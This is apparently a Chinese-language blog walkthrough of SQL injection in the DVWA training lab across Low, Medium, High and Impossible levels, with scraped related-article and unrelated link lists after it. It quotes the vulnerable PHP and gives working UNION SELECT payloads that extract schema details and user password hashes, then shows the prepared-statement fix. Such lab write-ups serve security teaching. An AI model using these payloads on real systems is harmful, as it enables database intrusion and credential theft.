【DVWA】【SQL Injection】SQL注入 Low Medium High Impossible

1.初级篇 low.php
先看源码,取得的参数直接放到sql语句中执行
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

http://localhost/DVWA-master/vulnerabilities/sqli/?id=&Submit=Submit#

直接加引号看报错,通过报错信息很容易的到使用单引号进行闭合
http://localhost/DVWA-master/vulnerabilities/sqli/?id=1'&Submit=Submit#
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
使用order by猜字段数量
http://localhost/DVWA-master/vulnerabilities/sqli/?id=1' order by 3%23&Submit=Submit#

order by 2时页面正常

union select 查询user() database()
http://localhost/DVWA-master/vulnerabilities/sqli/?id=1' union select user(),database()%23&Submit=Submit#

查表名
http://localhost/DVWA-master/vulnerabilities/sqli/?id=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'%23&Submit=Submit#

查users表列名
http://localhost/DVWA-master/vulnerabilities/sqli/?id=0' union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'%23&Submit=Submit#

查数据
http://localhost/DVWA-master/vulnerabilities/sqli/?id=0' union select user,password from dvwa.users limit 0,1%23&Submit=Submit#

解密可得

2.中级篇 Medium.php
看一下区别,id参数不再使用$_REQUEST获取了,并且使用了mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符。
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
最直接的一点影响就是'被转义成为了\',使得攻击者无法闭合引号而无法注入,
若MySQL客户端的编码为gbk时,就会产生宽字节注入。参照 http://netsecurity.51cto.com/art/201404/435074.htm 利用 https://www.cnblogs.com/superkrissV/p/8379690.html
若id参数为整型的时候,由于不需要闭合引号,一样可以正常注入,此处id为整型
SELECT first_name, last_name FROM users WHERE user_id = $id;
使用hackbar插件提交post数据,post形式下#不用编码成%23
id=0 union select 1,2#&Submit=Submit

和初级篇一样取数据
id=0 union select user,password from dvwa.users limit 0,1#&Submit=Submit

3.高级篇 High.php
id参数是从session中来获取的,由于session数据存储在服务器端,很多程序员会对来自客户端的数据进行严格校验,而服务端的数据则认定安全
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

点击弹出一个页面,对应的url
http://localhost/DVWA-master/vulnerabilities/sqli/session-input.php

审查源码

查看session-input.php源码,可以发现id参数没有经过任何处理直接传递到了session中
if( isset( $_POST[ 'id' ] ) ) {
$_SESSION[ 'id' ] = $_POST[ 'id' ];
//$page[ 'body' ] .= "Session ID set!<br /><br /><br />";
$page[ 'body' ] .= "Session ID: {$_SESSION[ 'id' ]}<br /><br /><br />";
$page[ 'body' ] .= "<script>window.opener.location.reload(true);</script>";
}
明白这些就可以进行注入了,注入的页面是session-input.php,显示结果的页面是index.php
http://localhost/DVWA-master/vulnerabilities/sqli/session-input.php
POST提交
id=0' union select user,password from dvwa.users#&Submit=Submit

刷新
http://localhost/DVWA-master/vulnerabilities/sqli/index.php

4.不可能篇 Impossible.php
查看源码,可以发现使用PDO技术来防止SQL注入,将id绑定为int
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
【DVWA】【SQL Injection】SQL注入 Low Medium High Impossible的更多相关文章
- Fortify Audit Workbench 笔记 SQL Injection SQL注入
SQL Injection SQL注入 Abstract 通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令. Explanation SQL injec ...
- 【DVWA】【SQL Injection(Blind)】SQL盲注 Low Medium High Impossible
1.初级篇 Low.php 加单引号提交 http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1'&Submit=Submi ...
- DVWA平台v1.8-SQL注入(low级别)
代码 <?php if(isset($_GET['Submit'])){ // Retrieve data $id = $_GET['id']; $getid = "SELECT fi ...
- DVWA全级别之SQL Injection(SQL注入)
DVWA全级别之SQL Injection(注入) DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...
- DVWA之SQL Injection
SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...
- 新手指南:DVWA-1.9全级别教程之SQL Injection
*本文原创作者:lonehand,转载须注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针 ...
- Portswigger web security academy:SQL injection
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
- 【DVWA】SQL Injection(SQL 注入)通关教程
日期:2019-07-28 20:43:48 更新: 作者:Bay0net 介绍: 0x00.基本信息 关于 mysql 相关的注入,传送门. SQL 注入漏洞之 mysql - Bay0net - ...
- DVWA(三):SQL injection 全等级SQL注入
(本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...
随机推荐
- Excel数据字典转换为PDM(且显示表名、字段相应的中文描写叙述)
在工作中遇到了一个问题就是把Excel数据字典转换为PDM. 可是转换完毕了全是英文,原来对表名.字段名的中文描写叙述就没有了. 且对于这个问题在powerdesigner15.2以后能够直接完毕.可 ...
- python uzip
import zipfile import osdef un_zip(file_name): """unzip zip file""" zi ...
- Redis3.0--集群安装部署
准备环境 操作系统:CentOS6.5 Redis3.0.0 192.168.3.154 192.168.3.158 192.168.3.160 192.168.3.162 一.安装 安装文件夹 / ...
- 动态JSP的了解
一.JSP与HTML的根本区别 1..JSP(Java Server Page)页面是动态页,JSP页面是有JSP容器执行该页面的Java代码部分然后实时生成的HTML页面,因而说是动态页面.2..H ...
- easyUI 对话框的关闭事件
有一个easyUI的dialog: <div id="dlg_Add" class="easyui-dialog" style=" width: ...
- frame pointer及其用途
1 什么是frame pointer frame pointer指向本函数栈帧顶,通过它可以找到本函数在进程栈中的位置.有专门的寄存器保存该值. 2 frame pointer有什么用 主要是back ...
- SoapUI中的RegEx
在for Content matching RegEx中
- robo 3t 在 ubuntu下安装
如果您尝试安装最新版本robomobo调用可以现在robo3t.或者你尝试在Ubuntu 16.04上安装,按照下面的步骤和你的robomongo安装 下载最新的robomongo tar文件 wge ...
- Cocos2dx如何引用第三方SO文件(Android NDK)
做项目的过程中发现,引用第三方的库lib3rdsdk.so,当直接把lib3rdsdk.so放进armeabi文件夹里,会被删除掉.查网上资料都说的不全,经过实验,最简单的方法就是在jni下的andr ...
- Linux下Redis的安装和部署 详细
一.Redis介绍 Redis是当前比较热门的NOSQL系统之一,它是一个key-value存储系统.和Memcache类似,但很大程度补偿了Memcache的不足,它支持存储的value类型相对更多 ...